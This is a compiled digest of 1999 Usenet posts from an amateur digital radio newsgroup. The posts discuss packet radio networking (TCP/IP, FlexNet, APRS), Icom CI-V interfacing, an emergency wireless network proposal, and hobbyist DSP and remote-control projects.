the 10% loss example above). If the per-hop losses are higher then the
gains are returned quicker (in fewer hops).

Many people are looking to IP in the UK as a means of kindling interest
in digital radio - this sparks off more effort in faster modem/radio design
and (my current project) forward error correction at the lowest level.

Heres hoping for a *sensible* continuation of this discussion...

Exactly. That's why when we did CDPD (Cellular Digital Packet Data, a connectionless oriented wireless service, with TCP/IP as the biggest user), we shoved it in a different stack at L4, and did mobility management, smaller packet segmentation at the lowlevel, and encryption. THis way we could abstract the wireless link from TCP/IP, to a certain extent. What helped a bit more was the TCP/IP stack implementing a sliding window algorythm, and pro-active backoff timers, but these weren't required.

103. simple digital radio remote control

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-07 00:00:00 UTC
From: CSTL <cstl@cstl.semo.edu>
Message-ID: <3694C62F.3954D31D@cstl.semo.edu>

Can anyone guide my towards some schmetics for simple digital rf transmission? My requirement is basically a remote control for my computer. I can't use IR for it though, because it must be able to transmit 50 feet away through walls in my home. It only needs to transfer about 2 bytes to the computer. The purpose of this remote is just to control a program I'm making that will play music files (mp3 format) on my computer, then transmit them using low-power FM around the house. Anyone have any ideas?

104. Re: Palm III and packet

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-07 00:00:00 UTC
From: Cyrrin <cyrrin@ringofsteel.org>
Message-ID: <369520DA.2098ED86@ringofsteel.org>
Source record: 20448

I've been thinking about the same thing recently. It would probably be best to start with a setup like palm->palm modem->tnc->radio.
I love the idea of being able to stick a packet station in my coat!
Anyhow, I have quite a bit of programming experience and would be willing to tackle any palm programming that needed to be done, but I'm not exactly clear myself as to how exactly to get everything working together (since I still haven't gotten a packet station on the air by normal means.) My biggest question is this: the palm sees the modem as a "dial-out" device. So it tries to use ppp or slip to connect to a server. But in packet radio, the modem/tnc/radio is not a dial-out device, right? Does it not behave as if it were on some physical network and just send packets out over the radio?
If someone could clear this up for me, I'd be grateful to the point of putting up a web site and how-to on getting your Pilot on the air.
Thanks.

Barry,

Other than a test app to show the BLP host mode capibilities that Howie wrote in 1991, nothing is avaialble as of yet for BLP host mode. It's over on tapr if you want to look at it, hostmode.exe if the filename.

This will change in the next 60 days or so, as CSS will be showing Multiterm '99 at the Miami and Charlotte hamfests, the first Windows 32 but BLP host program for the MFJ TNC's. This will be the 3rd in the family of 32 bit Windows terminal programs for the TNC lines (Kantronics and Timewave/AEA being the other 2).

In our development, we found out from Howie that BLP only will work in Packet mode. The non packet HF modes (rtty, cw,etc) will still have to use terminal mode. However we are working with Steven Pan and Howie on seeing if we can develop an HF host mode for the MFJ line.

Bob,

If the TAPR 1.1.9/1.1.9 host is the WA8DED host mode, then no, this version will not support it. Multiterm '99 will support BLP host on the 1270. I think the 1270B firmware was the last to support it. Just type BLP at the cmd: prompt and if it doesnt say EH?, you're good to go.

But the plan is to do a WA8DED host version, which would support PacComm, SCS and the TAPR TNC's. CSS's goal is to have one standard interface for all the TNC's, so when you switch between TNC's, the look and feel is the same.

We're also going to be adding the HAL HF Modems also to the product line, as well as have other products for both the ham and marine community (many are in beta now).

Creative Services Software is a 6 person software development company. Of those 6, 4 are hams, and our mission is to provide high quality software for the ham and mariner.

It's a great idea.

The holdup, as usual, is in the lack of inexpensive, easy to set up and maintain equipment which is widely, easily available. None of the microwave and high-speed equipment has met those criteria yet, so none of it beyond 9.6kb or so has seen widespread use in the US.

Everybody has been saying that the situation will change for the better really soon. They've been saying it for a little over a decade, now.

:
: Ahh, someone with a clue. One of the *advantages* of TCP is that
: it tends to accumulate data during periods of network congestion.

This is an advantage only in the file transfer type applications (ftp,
news, mail etc.) where the important thing is that the data gets
through uncorrupted, but it is of only secondary importance when this
will eventually happen.

In real time applications (which are often defined as application in
which data is useless if it is incorrect but in addition it is useless
if it arrives too late), the data becomes useless while waiting the
congestion or fault to clear out, but still it is transferred to the
other end. An hour old DX-spot or APRS location is not of much value
(other than possibly of historical or of statistical interest).

A real time application is usually designed to handle some missing
data situations and ignore any obsolete data arriving after a link
failure or congestion.

: However, as Alexander points out, data loss due to a poor link
: has the opposite problem. A strong MAC protocol, or L2 connection,
: is required, as well as tuning the TCP parameters to acknowledge
: that a reliable L2 protocol is being used.

If the strong low level connection is implemented with low level
retransmissions (possibly in addition to FEC) there is a temptation to
set the retry limit very high and set the TCP level timeouts very
large, which is fine for file type applications. If some real time
data is sent over the low level link (using either TCP or preferably
UDP), it will also experience the very large retry count if the link

is bad for a while, creating a large backlog of data that is quickly becoming obsolete.

At a minimum, the low level retry count should be set differently for file transfer type data (a large retry count) and real time data (one retry at the most). The problem is how to distinguish between file transfers and real time data. One way would be to classify TCP frames as file transfers and UDP frames as real time data, unfortunately there are real time applications that use TCP and some UDP applications that are not time critical.

Some expiration time mechanism would be preferable for real time data transfers, but since the expiration time would be in seconds or a few minutes at the most, there is the problem of maintaining the accurate time on all intermediate stations.

Ernst,

Since Multiterm '99 is written in MFC, there is a cross compiler Microsoft has for compiling the source which then becomes a MacIntosh application (VC for the Mac). We've been looking into this, and will discuss the possibility of doing this with Steven and MFJ.

The mac market is smaller than the Windows market, as we all know, and that seems to be a reason that alot of developers shy away from it.

You might be able to connect a keyboard cable to one of the links I have seen. They are RS-232 and can go a couple hundred feet. Might be 900 MHz. About 100 dollars. I think you get a matching pair for that price. I think they go to 19,200 bps.

The IBM compatible keyboard port is a serial port. Specs, I dunno.

132. A Proposal for a Wireless Internet of Portable Nodes (WIPNet)

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-09 00:00:00 UTC
From: Jon Roland <jon.roland@constitution.org>
Message-ID: <Chameleon.915877132.jon.roland@CRL.crl.com>
Source record: 20476

A Proposal for a Wireless Internet of Portable Nodes (WIPNet)
by Jon Roland KC5MYS jon.roland@constitution.org

The prospects that the Y2K problem, or other such cascade failure arising from other causes, might bring down power grids and telecommunications systems, suggests that we consider establishing an alternative communications system that could support emergency services in such an event.

One of the main ways that emergency communications has been provided in the past is through amateur radio networks. However, the advent of packet radio and other forms of digital communications on amateur bands suggests a better use of the bandwidth, especially since a nationwide or worldwide failure of essential systems would be likely to overwhelm the ability of traditional amateur voice communications to cope with the situation.

A number of amateur and commercial researchers have been exploring expansion of the Internet to radio links, using the TCP/IP and AX-25 protocols and making use of both the amateur bands and the newly available spread spectrum bands. These are represented by such efforts as FlexNet and AMPRnet, and such services as Ricochet. See http://www.constitution.org/amprnet/amprnet.htm

This is to suggest that we get together to establish a much more ambitious system. The effort is complicated by the need to confine the use of amateur bands to licensed amateurs, which is not a limitation for the use of spread spectrum bands. The following are the design specifications for such a system.

- All nodes would be portable computers and transceivers. There would be no wired backbone, although there could be connections to the wired backbone to make use of it, if it is available, such as to span what would otherwise be breaks in the network.

- The geographic range of the system would be nationwide or worldwide. Any node would be able to send an email message to any other anywhere on the network, regardless of the number of hops in between. There would also be support for newsgroup, ftp and WWW services, but these might be restricted in the event of an emergency.

- The primary bands would be spread spectrum, with perhaps some use of HF bands for longer distances, to span breaks in the network.

- The addressing and routing scheme would permit all nodes to move about freely, and perhaps rapidly, without every node having to have a complete database of every node and its location, although such a database might be available on some nodes, making them DNS servers.

- There would be a priortization protocol to permit high priority messages to have routing priority over lower ones.

There are many advantages to the use of spread spectrum. It supports higher bandwidths, makes more efficient use of a given band, and provides better security. At the moment its use is limited to the 900 MHz and 2.4 GHz bands, and to 1 W, but amplifiers are available for use outside the U.S., and we can expect that use at higher powers would be excusable in the event of a national emergency, as would the use by non-licensed personnel. A protocol would have to be adopted for exchanging sequence codes among cooperating transceivers, but PGP-encrypted messages on a standard contact sequence could be used for that and for authentication of the nodes. It would also be better suited for preventing packets from going astray.

It would be possible, in principle, for nodes within range of each other to update one another's link databases, and for those databases to be transmitted to other nodes to update their, on a continuing basis, so that every node would maintain an updated database of every node and which was in range of which other, however, this would involve too heavy an overhead. A different approach would be for each node to transmit its approximate grid location, either set manually or taken from GPS, and messages routed along a node path that would take them in the general direction of the target node until a link was established.

The line-of-sight range of both VHF FM and SS is about 20 miles, under good conditions, and using antennas that could be carried by a person. That means that to establish a nationwide network, and to provide sufficient bandwidth for heavy message traffic, there would need to be a fairly dense positioning of nodes not more than 20 miles apart, and preferably closer, across the country. This could be a problem in some of the Western states, especially desert country, where population density is low, but in an emergency node-bearing operators could scatter themselves and position themselves to make sure that coverage was complete. Three or four operators in each of the 3000 counties in the United States might be sufficient.

Small notebook or wearable computers with large disk drives are now becoming available, and they should soon become fairly inexpensive. SS 1 W transceivers are also becoming available at a cost of about $200 each. The only other things that would be needed would be power packs, a good antenna, and perhaps extra disk drive capacity, all of which could be carried by an operator in a backpack.

The importance of portability must be emphasized. In an emergency, the availability of fuel to operate a vehicle cannot be assumed, although vehicle based mobile systems might be made use of if available. But operators should plan on being able to operate on foot, perhaps using solar cells to recharge their batteries. The operator will also have to carry water, food, medical, and other survival supplies on him, so the communications equipment needs to be as small, light, and easy to use while on the move as possible.

The military has such systems, but, typically, they are too expensive for civilian use. Indeed, they are too expensive for widespread use by the

military, which is why we cannot depend on military or national guard personnel to provide such services in an emergency. This needs to be a civilian, autonomous system that is not under central authority or control, like the Internet itself, and that therefore cannot easily be interdicted or interfered with by anyone.

We need to vigorously pursue the development, testing, and deployment of such a system, with the goal of full deployment not later than October, 1999. Comments for ways to do this are welcome.

OK, its been three days since I got my dsp232. I've discoverd a few problems that Timewave didnt. This might just be my unit so any imput is welcome. First, The threshhold commands AUTOTHR & THR make no differance in packet mode. The led for DCD just flickers all the time. Second, the tnc sends ontop of other stations with wild abandon! It dosnt seem to notice any other station. Not even the one you are working. Oddly the THR & AUTOTHR commands seem to work for rtty and amtor. The modems listed in the manual arnt in the places they say they are. Modem 13 should be the 1200 baud fsk modem, its not thats modem 12. This thing needs LOTS of work not just a few fixs. Let me know what you guys find please. 73 de N8XYN

>abandoned. My idea is to do exactly that, but to interoperate for a time.

Actually FlexNet is very different from NetRom, beyond it's DAMA access. FlexNet does not support NetRom functions, does not use aliases or transmit "nodes" lists. It's very different, and many of the best features will not be readily aparrent to you until you have at least one, and preferably two or more FlexNet digis running. If you took a casual look and dismissed it without trying it out for yourself, then you missed out on a good deal.

FlexNet is currently the most sophisticated and functional Packet networking system available to Hams. It is at least ten years ahead of anything that Hams in the US are used to using. If it seems strange and different to you, that's because it is. It is also better than what you are used to, and much easier to use.

Try it out for a while, then talk about how it's "just like NetRom". From what I can tell by your conversation, neither of you guys have even read the docs yet. If you had, you would know better.

If you had operated it for a while, I believe you would both be singing a different tune right now.

Ask the Hams in New York, who have shut out and isolated the LandLine Lids and who are building a rapidly expanding, all-RF FlexNet network there. Right now, this is the only bit of packet net in the US that I am aware of that is rapidly growing. Everybody else appears to have the blahs, and I can't blame them. The Hams I hear from New York are excited and enthusiastic about what they are doing.

Find out why.

There's a bit more to it that that. You might as well be saying it's "just like NetRom".

>

>the pbbs crowd that forced through the change.

I'm talking about "Internet Forwarders", not ip users. The NY FlexNet folks have a special interest in running IP over FlexNet. I'm pretty sure I would have heard about it if they had any trouble doing so.

It's used with IP in Europe a lot, don't see why it shouldn't do the same right here. The main difference is the high-speed, full-duplex node-node links in the German network. That in itself would tend to make operation of amateur tcpip more rewarding.

I have monitored IP traffic on my FlexNet node which did not display properly on my old 'BPQ node, but have not run IP over it myself. FlexNet is supposed to be "transparent", in that you pump IP in one end, and that's what comes out the other end. Your guess as to what that means is as good as mine.

The Win95 version of FlexNet allows use of native Win95 tcpip applications and servers. Netscape, WSFTP, ect, over tcpip or ax25, your choice. Sounds tcpip friendly to me. Maybe you should check out their web site, read the

docs.

It was the "Internet Forwarders" who were shut out, not the IP users. The early problems with NOS represented "teething pains" for a new network, not a deliberate shut-out.

>
>The problems were related to the fact that flexnet only reliably carries
>frames with a AX.25 PID of 0xF0 (no layer 3 protocol)

That's what I heard. That was worked out a couple of months back, wasn't it?

The "Internet Forwarders" are still there, but they are not allowed to subvert the network, and end up only talking to each other. They'll get tired of that quick enough.

144. Packet Path? Help, I'm new to this

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-09 00:00:00 UTC
From: Mark Pedroia <mpedroia@sonic.net>
Message-ID: <779fh7$lh6$1@ultra.sonic.net>
Source record: 20488

My new Kenwood HT-D7A handheld has a built in TNC and APRS. I'm new to this and have been experimenting with it.

I'm able to enter my lat/long, icon, call sign, messages and receive messages from others in my area however I can't seem to send any. They transmit, but aren't received, at least I'm not getting a response and my ID doesn't show up on the map.

I'm using the 144.390 freq and I believe my problem is in the packet path setup. From what I can gather from a few webpages, I need to specify the path and currently I have it set to the call sign of a very close digipeter which happens to be wb6tms-5, relay, wide.

Is the format of the path correct? Is there a standard way to do this? Anyone else doing this on the Kenwood.

Please post to the group, thanks in advance

Mark Pedroia

-----BEGIN PGP SIGNED MESSAGE-----

Patricia Gibbons, WA6UBE replies:

The HOT sectors are:

1:PCS-band cellular,

2:NexTel Communications,(Nextel is buying up the older 800 MHz
SMR-Trunked systems and converting them to networked digital
systems for regional radio coverage in a
"sort-of-like cellular-phone" system.

3:Motorola's new "Iridium" world-wide phone system utilizing
low-earth-orbit satellites and hand-held phones that go anywhere.

4:With more standardization of the new 700 MHz Public-Safety radio band,
expect to see more products and infrastructure, and equipment for
interoperability with State and Federal Agencies.

5:Police Mobile Data (we have swapped out all of our lower-speed
Motorola KDT480 terminals (4.8 KB) in favor of ruggedized laptop PC's
in
our police cars, and the newer VRM600 mobile radio modems operating
at 19.2 KB.

6:More use of devices that incorporate 2-way paging, and e-mail
in portable devices that replace the ubiquitious pocket pager.

7:More use by the public-at-large of monitor and alert receivers
that are compliant with the new "Emergency Alert System" (EAS)
standard that is now replacing the old EBS System. These devices
will be more relied-upon by the public in order for residents
in local and regional areas to receive emergency broadcasts and
information from Federal, State, and local agencies.

8:Expect to see more "cross-over between technologies"
such as:

GPS in Police cars for Automatic Vehicle Location (AVL), tracking
and dispatch.

Fingerprints and photos sent directly to Police cars in the
field from dispatch centers, and with more advancements in
internet security, a closer connection between Public safety
mobile units (both Fire and Police) and the internet as the
net becomes a more integral part of a public-safety
communications infrastructure.

Moving the internet to more remote locations via both satellite and
HF radio techniques, such as commercial maritime use of the internet
for fishing, commerce, and messaging.

"Radio maintenance technicians will overlap with ISD/IT/computer techs
as the boundaries between the two technologies blur, forcing both
fields
to cross-train in order to be competitive in the job market." --My own
quote

I would note that the very first TCP/IP network used a mobile RF link.
TCP/IP was intended from the start to be able to run over any underlying
infrastructure. But TCP/IP is an internetworking and transport protocol,
it isn't now, and never was, a link layer protocol. That's a totally separate
issue.

>Ahh, someone with a clue. One of the *advantages* of TCP is that

Exactly so. The important thing to note here is that link layer problems
need to be addressed at the link level, not at the network or transport
level. Make the link level solid, and the upper levels can do their jobs.

If the link layer is flakey, then the upper layers will try to compensate,
but they aren't designed for that job, and won't do it well.

Perhaps not. Each switch would maintain a FIFO stack of packets
awaiting delivery. The packets could be time stamped as they enter
the stack, and the stack washed periodically to remove stale packets.

This doesn't address the issue of identifying which packets require
real time service and which don't, but it does address the real time
clock synchonization issue by making it moot.

There's still the problem of cummulative delay, IE a number of switches
in the path, each making delivery before a stack wash, but cummulatively
increasing latency to the point that the packet is stale on arrival at its
destination.

That can be addressed by intelligent use of the time to live parameter
in the IP packet. Instead of decrementing it once for each hop, switches
could decrement it once for each stack wash, and not reset it on packets
arriving from another switch. That way, the originating host can set a
finite delivery latency by its choice of the TTL value. No real time clock
synchonization is required for this method either.

If source and sink agree on TTL values, deterministic values can be used
for retransmission timers too. This resolves the back off to infinity behavior
of common TCP/IP implementations.

The problem with this is that RF paths don't necessarily follow geography
in a linear fashion. In other words, the two closest nodes may be separated
by a ridge while a path to a much more distant node may be line of sight due
to more favorable topography. On HF, the problem is much more acute, with
paths being determined primarily by propagation, not linear geography.

>The line-of-sight range of both VHF FM and SS is about 20 miles, under good

Range for hand carried systems could vary from under a mile to over 60 miles
depending on topography. 20 miles isn't even a good average value. I think that
you don't appreciate how hams are distributed geographically either. Even in
the East, they tend to clump in certain areas, and are few and far between in
other areas. Getting countywide coverage in *one* county can be difficult.
Getting it across 3,000 counties with varying topography is a huge problem.

There will be choke points where many messages will only have one path,
and that path will be overloaded. This would be particularly trying at nodes
in the Plains states which would be tasked with carrying all East coast to
West coast traffic. But it is a problem over smaller areas too.

I applaud the idea of a national emergency network, but the size of the task
is much larger than you imply. I seriously doubt any such purely amateur
network could be formed in a year. And even if it were, I doubt it would have
useful capacity. Even the much less ambitious goal of interconnecting
major urban areas with fixed trunk routes would tax amateur resources
to the limit.

This has to be the worst advice I have ever seen on this group. It shows how little most Amateurs know about modern technology. Morse code is without a doubt, the very last thing you want to use for two-way communications.

I only have to ask: What quantity of information can be transferred in one hour using say PSK31 at 31 baud with FEC versus Morse Code?

It is absolutely brainless to suggest a mode that is guaranteed to fail. Morse Code failed in the military, and it has recently failed in all maritime services. It is a mode that died when SAC went to SSB; a relic of history. Even the CIA and Cuban intelligence services have gone to higher baud rates to distribute keying material.

This suggestion is without merit, and it borders on stupidity. Here's the scenario: Your group walks up to the group of people with the Governor asking "what can we do?" Well sir we can all use Morse Code! "Shit son, get on your horse and get the hell away from me!"

Steve

Message-ID: <CS4m2.1798$lz1.6933751@news.goodnet.com>
Source record: 20402

I've been playing with TCP/IP for several years. Basically the network
is in search of a function. If I had to list what my station does with IP,
it would have to be "Tunnels AX.25 and Netrom." That is, the only
part that uses IP is the part that connects other JNOS stations to
mine. Very little 44 routing (I'd say none) is performed.

This begs the question. No one really does anything with JNOS,
that requires TCP/IP locally. All of our local IP stations have long
since disappeared. We would hold their hand as they got up to
speed, and then a couple weeks later they would go back to their
dumb terminal. Most had various complaints, most were not
computer inclined.

Thus, I think the day is over for Amateur IP. It's a transport without
data. Even if we moved all the BBS junk mail over IP, it would
still be a lost cause. When asked what I would transport, I am as
lost as the next guy. I have no clue what I'd be interested in seeing.

Thus, I'm working on a completely different protocol. That is, a
system that is based on APRS. APRS has two failure modes
that mark it for break-down. The first is that it is designed without
compression or FEC. That problem is easily seen by connecting
to: telnet://www.aprs.net and seeing the quantity of raw data being
transported, and second, is the cycle time is too low.

When I meant "go out" I meant it transmits, and can be heard on other radios
tuned to the freq but, so far, no one has seen my position/call sign/etc..
show up.

So, if I hear the "brap" that means I'm getting an acknowledgement?

Thanks

158. High Speed Broadcast Protocol

Newsgroup: rec.radio.amateur.digital.misc

Source record: 20405

One of the big projects underway in aviation, is the Multipurpose Broadcast Datalink (MBDL). A comparison would be towards APRS.

The system is designed for 966 MHz (experimental) and operates at 416 kbps, 50 Watts, with GMSK being proposed instead of CPFSK that is being used in testing (Continuous Phase FSK).

An interesting document is at:

http://www.iimorrow.com/caa_ads/adsb-info/uat/mitre_tech_report

Also, go up the URL to the higher directories to see other aspects of the program.

No, but an instant brap back *MAY* mean you got digi'd but it didn't show on
the screen for whatever reason. Try Relay,wide and see what happens. Maybe
there's a problem with that digi close to you? Try messaging the digi op or
get ahold of him and ask why his isn't digiing you.

Why not smoke signals?

What is wrong with 80m Nets, along with 160, 40 and 20m, supplemented very locally on 2 & 440 ... sounds as though we already have the capacity!

Though the Y2K hype is just that ... the hackers will do more harm in 2000 than the Y2K nonsense ... anyone who cares about money has dealt with it. Get a written guarantee from everyone you do business with that they are Y2K compliant (power suppliers, etc.), then if they lie you can sue them -- guess what, they know that and are fixing things ... count on it!

173. Super Morse under WIN9x?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-11 00:00:00 UTC
From: Markus Lenggenhager <M.Lenggenhager@zrh.sc.philips.com>
Message-ID: <3699BE89.BC9CDC89@zrh.sc.philips.com>
Source record: 20417

Hi all

After evaluating a great number of CW training programs, I didn't find one offering the same functionality as Super Morse (Boost mode with adaptive speed regulation, which is in fact a closed-loop man-machine system).
Unfortunately I didn't succeed to run Super Morse on my P6/400MHz under WIN98 or NT4. Yes, the program runs, but no sound at all, despite MS-DOS mode, installed AWE64 DOS drivers etc.

My questions today:

1. Is anybody successfully using Super Morse on a WIN9x Pentium-II system?
2. Are there alternatives to Super Morse offering similar functionality?

Tnx es 73

Of course it would be better, if we had a better protocol there. But
instead
of setting MAXFRAME to 1 for AX25 you can use selective repeat with
the normal AX25 L2. You have to violate the protocol specifications but
it is worth it on wireless links. It was first introduced by OE5DXL 10
years ago and
then implemented by Baycom. FlexNet uses it for ages now and it is very
effective. The idea is to store "out of order" frames and not discard
them as
the protocol specification wants us to. The effect is, that you now have
something like MAXFRAME 1 as only the missing packets have to be
repeated.

Another very important issue is NOT to use datagram mode (UI). The AX25
L2
virtual circuit is the solid link level protocol you demand - as long as
we are not interested in real time applications, which will IMHO never
work
with IP anyway.

> all of Germany, not just half of it.

More than 80% of the German digipeaters use FlexNet-Routing ;-)

INP is currently implemented in Xnet and TheNetNode, but as Iï¿½ve heard
there are
severe compatibility problems if you mix these two systems. The
underlying
routing mechanism is the same as for the FlexNet router (adaptive sink
tree), but
it took FlexNet some time to optimize the parameters to become that
stable.
INP still has to go through this process. Maybe some time it will be as
good as
FlexNet is now.

Brian Mullaney wrote:

> The problems were related to the fact that flexnet only reliably carries
> frames with a AX.25 PID of 0xF0 (no layer 3 protocol)
>

This - of course - is absolute NONSENSE!!!!!!

I donï¿½t know who told you that, but opposite to NETROM, that is really
limited to
PID $F0, because the L3 of Netrom was nether designed to carry anything
else,
FlexNet is absolutely TRANSPARENT to the data you transfer. The AX25
address field
is reversable and complete, the data and OF COURSE the PID is unchanged!

What I think you mean is that FlexNet has no dedicated IP router - but
this is a different
issue, as you can use an IP router above FlexNet without any problems.
Thanks to
FlexNetï¿½s transparent router.

And - FlexNet has a layer 3 protocol. You canï¿½t implement layer 3
functionality without one
can you? But you wonï¿½t see it from the outside - why should
you? As long as the data you put into a FlexNet digipeater is being
transferred, you donï¿½t care.

What you miss is an end-to-end protocol like Netromï¿½s L4 was suppost to
be. But end-to-end
means IMHO your computer and the computer of your QSO partner - not the
digipeaters you
are using. So there is no need for the digipeater to implement such
protocol.

Try RELAY,WIDE or WIDE,WIDE. If that fails, try your local digi but remove
the relay
to look like: wb6tms-5, wide.

Make sure you know what SSID you have set. For example, my truck is
N2WZB-12,
and the SSID is -12. I think the D7's use -7 (what a coincidence!) as the
SSID.

Then get on the web and go to http://map.aprs.net/kf6tys-7 and see if the
aprserve
has heard a position from you in the last 8 hours. This way you can use the
internet
as your "test equipment".

Good luck!

Try scancat at http://www.scancat.com. I personally think it's the best rig control on the market. It controls almost every ham rig and/or scanner ever made!

Good Luck,

Wally

183. need specs on rca DDS dish

I'm trying to work a project, and was wondering what does the RCA DDS dish
expect in voltages and what does it give up in freqs?
What also is the input and gain?

I'm trying to create a ground link for some commo.

Thanks for your help.
Remove the NOSPAM to mail me direct if you want.

Is it really possible to take advantage of the latest Creative Labs technology and compete with the Amateur radio hardware available for Morse, DSP, etc....

I have D/L'd a lot of programs for the above mentioned task and really haven't found anything impressive. Is this because the SoundBlaster isn't capable of doing as much as the dedicated hardware.

I did get Brian Beezleys DSP program to work momentarly and it appeared to be on track. I did not like the fact that it has to run in DOS though. I want a partial window running on the desktop. Geez how are you supposed to get E Mail when the DSP is running. Make me shake just thinking about it...

Any input would be appreciated. Is there any REAL cool stuff out there for taking advantage of the Soundblaster...

The DSS expects voltages of 13 and 18 +/- 1.0 volt. These voltages are used to switch the LNB between Left and Right Hand Circular Polarization. The feed receives 12.2-12.7 ghz (K-band) and down converts that frequency to 950-1450 mhz which is then used for tunning the IRD. The feed alone produces appox .5 - 1.1 db of gain the dish provides appox 24 db of gain.

no one should have to pay for wares!!!

What kind of statement is that. Software programmers are offering a service.
They deserve to be paid for it. I am sure you don't work for free.

The way I look at is, Software is expensive because of people like you. If
programmers and company's could get a small price from everbody that uses
their "wares" they could make more money than
charging the small percentage of us honest people a lot of money.

Get a life.

190. Re: Need help with ICOM CT-10/CT-17 RS232 interface for R-71A

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-12 00:00:00 UTC
From: Rick Pemble <pemble@ix.netcom.com>
Message-ID: <77fvlj$huk@dfw-ixnews6.ix.netcom.com>
Source record: 20292
Cross-posted to: rec.radio.amateur.misc,rec.radio.amateur.equipment,rec.radio.amateur.digital.misc

CI-V is Icom's protocol. RS-232 defines an electrical interface spec. -3
to -15 volts for a 1 and +3 to +15 for a zero.
The CI-V uses TTL levels, i.e. 0volts for zero and 5 volts for one.
In addition, the CI-V uses the same pin for transmit and receive rather than
pin 2 and 3 of the RS-232 spec.

Converting it is very easy. I used a Maxim 232 IC that converts 5 volts to
plus/minus 9. They only cost a buck or so, and you only need one of those
and 4 capacitors. The chip is specifically made for converting TTL to
RS-232 and that is all you need to do to hook up your radio to a PC.

The voltage conversion is all that is necessary to interface to a standard
PC RS-232 port. Since the CI-V uses one pin for xmit and rx, every command
you send the radio will be echoed back to you. So if you write software, be
prepared to send a command block and see it right back at the input, so you
just need to discard it.

cheers

Rick W4RP

I have been looking for an interface for the 71R also. I thought I would
share what little I found out:The 71R can take 2 computer interfaces(I
called Icom for this info)
1- the EX-309
2-the UX-14
The EX-309 is a proprietary parallel interface that must plug into the
demodulator number CT-17
The UX-14 is a standard serial interface that must plug into the
demodulator number CT-17
So, what I think is that it takes 2 parts to control the R71A by
computer.
I have looked all over the net ,and have only found for sale the
following:
1 EX-309(new)for $99.95 but I can't find the CT-10 that goes with it.
1 CT-17(new)for$75.00 but I can't find the UX-14 that goes with it.
So good luck. If you get it done please let me know.

Source record: 20435

I have been looking at this stuff too. I have yet to find application that implement DSP to do a specific function ie.) Morse or Packet decoding. They seem to do just the basics! A spectrum analysis or dispaly a wave etc. The ones that have cool sofware are not real time and the ones that are real time do not have the cool software. The best one I have seen to date for real time is freq51 from a guy at Univ of Mich(Go Blue). The next best for software is Sat32. My focus is on building an application that uses DSP for signal analysis Identify digital signals. Using freq51 I can identify the freq shift in RTTY and I can tune to my modems passband for CW. This is all visual of course. The problem with windows is that it virtualizes the hardware. This means that your windows applications do not have exclusive real-time control over the device like you do in DOS. I think this is why you see real-time DOS applications(usally written in assembler using DMA) and static windows applications. By static I mean the sounds are coming from wave files etc. There are ways to get Real-time data into windows applications but they require new "Direct" techniques (implemented by M$), by Direct I mean Direct X by MircoSoft. What do you think of software that could automatically tune the SSB offset created by the atmosphere? Or software that could Identify the baud rate and shift of an RTTY signal? Or adjust the dopler out of a Satellite link? I think it would be kind of cool to do it with a PC as opposed to a TNC.

AFAIK, ICOM has very thorough description for their protocol in the
service manuals of IC-735, IC-765, and maybe others, too. Unfortunately,
it can't be found in users manual accompanying the radio.

206. Re: Want RS232 protocols for ICOM, JRC, AOR receivers

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-12 00:00:00 UTC
From: Rick Pemble <pemble@ix.netcom.com>
Message-ID: <77fv5e$hkr@dfw-ixnews6.ix.netcom.com>
Source record: 20441
Cross-posted to: rec.radio.amateur.misc,rec.radio.amateur.equipment,rec.radio.amateur.digital.misc

Icom publishes a very comprehensive reference guide titled "CI-V Icom Communication Interface - V Reference Manual"

It is very comprehensive. I have an older copy so the one I have only covers the following radios.
IC- 725, 726, 735, 751, 781, 765 and 781 for HF
IC-271, 471, 1271, 575, 275, 375, 475, 1275 and 970 All mode
IC-R71, R-72, R7000, R71000, and R9000 receivers.

It certainly covers the R71, at any rate.

The reference book talks about the electrical interface, the message protocol specs, has a sheet on each command, the response, etc etc -- As I say, it covers every aspect of the interfaces in 7 chapters and about 42 pages.

Just call them up and get it -- I forget how much it costs, seem to remeber about $20.
Now if that is too much -- I searched the web a few years back and found that someone had posted a softcopy of the list of commands and responses -- sorry, I forgot where it was -- but I did find it with a lycos search. It seem to be missing several commands when I compared it to the book and didn't talk about message protocol and format.

There seems to be only 12 commands for the R71 -- set freq / read freq / read memory / set memory / set mode / select VFO is about all.

cheers

Rick W4RP

207. Digital radio links

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-13 00:00:00 UTC
From: Robb Brown <robb@pwsb33.ab.ca>
Message-ID: <369C0510.6EB437B6@pwsb33.ab.ca>
Source record: 20301

I'm trying to build digital radio receivers and transmitters for use in robotics etc. They can be bought for about $20 each (and up), but I'd like to build my own (and maybe even save some money). I'm looking for fairly high frequency, 600-1500 mHz or so.

Basically, I need to put two microcontrollers in contact with each other over a wireless link.

Thanks for any help,

Robb Brown
robb@pwsb33.ab.ca

APRS also suffers from a lack of coherent extensibility. I still remember, a few years ago, coding up a simple command-line interface to an APRS channel. I was rather alarmed at the ad hoc feel to the whole protocol. "Oh, we need DF stuff? Well, we can stuff a few bytes in somewhere ..." "Weather Data? Well ... sure!" There were also poorly defined semantics (date/time being one), etc. There are also encodings in an APRS frame which are tied strongly to user-interface elements of the ARPRS software.

In essence, it was very difficult to separate APRS-the-program from APRS-the-protocol. I never did finish my small tool...

Maybe things have changed since? I hope so.

What is the military equivalent of APRS? There surely must be one, and there must be alot of experience with it by now -- experience that would help craft a next-generation APRS.

Another possibility is to use the IEEE Distributed Interactive Simulation protocol? Except it wouldn't be a "simulation", but reality itself.

Is there a commercial equivalent to APRS? I'd imagine public safety, courier, taxi and other organizations which manage a large fleet of vehicles would have/use something like APRS.

209. Packet to Internet Gateway: how, where, cost?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-13 00:00:00 UTC
From: Kevin Gunning <brumey@ns.net>
Message-ID: <sHUm2.197$3u.2776558@nnrp2.ni.net>
Source record: 20303

Hi everyone:

I would like to be able to send and receive email via a portable/mobile packet radio link. I don't need browsing or any of that fancy stuff.
Question:
1) Is this easily possible?
2) Do I need to have a TCP/IP packet address (I do) or can I just use AX25?
3) Does anyone have any recommended resources on the web to learn this process?
4) Anyone out there using a Windows CE or Palm III for Packet?
5) What's the scoop on the new Kenwood handheld with a built in TNC?

Thanks in advance, please respond to my email and the group.

